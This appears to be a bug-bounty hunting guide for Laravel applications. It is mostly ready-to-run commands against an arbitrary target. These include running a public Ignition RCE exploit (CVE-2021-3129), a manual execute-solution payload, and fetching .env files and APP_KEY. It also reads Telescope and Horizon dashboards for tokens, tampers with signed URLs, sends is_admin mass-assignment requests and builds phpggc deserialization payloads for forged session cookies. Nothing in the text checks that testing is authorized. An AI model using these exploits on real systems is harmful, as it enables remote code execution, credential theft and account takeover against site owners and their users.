Hunt Laravel specific vulnerabilities — Debug mode leakage (APP_DEBUG=true exposes full stack trace + env vars), Laravel Telescope/Horizon dashboard unauthorized access, Ignition RCE (CVE-2021-3129), Signed URL manipulation, Queue Worker abuse, mass assignment via Eloquent, deserialization via cookies, .env file exposure. Use when target runs Laravel (PHP) — detected via X-Powered-By, Laravel session cookies, or /storage/ paths.
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Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
Highest-value findings:
APP_DEBUG=true + Laravel < 8.4.2 → /_ignition/execute-solution RCE without auth/telescope exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables/horizon exposes queue job details, failed jobs with full payloads (may contain API keys, PII)URL::signedRoute validates wrong params → bypass signed URL → unauthorized actionsAPP_KEY leaked → decrypt all encrypted cookies → forge session → ATO# Laravel-specific indicators
curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"
# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" != "404" ] && echo "$path: $STATUS"
done
# Check error page (trigger 404)
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"# Step 1: Check if debug mode is enabled (Whoops error page)
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"
# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
# Step 2: Check Ignition endpoint
curl -s "https://$TARGET/_ignition/health-check" | head -5
# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"
# Manual test — send solution request
curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
-H "Content-Type: application/json" \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "x",
"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
}
}'# Telescope — request/response logs, DB queries, jobs, cache, events
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
# Horizon — queue worker dashboard
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens
# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done# Direct .env access
curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl -s "https://$TARGET/.env.production"
curl -s "https://$TARGET/.env.backup"
curl -s "https://$TARGET/.env.local"
# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user
# Also check
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="
# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"
# Modify user ID → should fail if properly signed
curl -s "${SIGNED_URL/user=123/user=999}"
# Test signature bypass: remove signature entirely
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"
# Test: does the app validate ALL parameters or just some?
curl -s "${SIGNED_URL}&extra=malicious"# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
# Test: add extra fields to update/create requests
# Profile update
curl -s -X POST "https://$TARGET/api/profile" \
-H "Cookie: laravel_session=SESSION" \
-H "Content-Type: application/json" \
-d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'
# Registration
curl -s -X POST "https://$TARGET/api/register" \
-H "Content-Type: application/json" \
-d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains
# Get the app key
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64
# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"| Laravel finding | Chain to | Impact |
|---|---|---|
| Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |
| Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |
| Horizon accessible | Read failed job payloads | High - PII/token exfil |
| .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |
| Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |
| Mass assignment | Set is_admin=true → privilege escalation | Critical |
✅ Ignition RCE: id command output returned in response
✅ Telescope: API responses contain DB queries with credentials or user tokens
✅ APP_KEY: Forged session cookie accepted, returns another user's profile
✅ Mass assignment: is_admin: true accepted, account now has admin privileges
Severity:
6b9c96e
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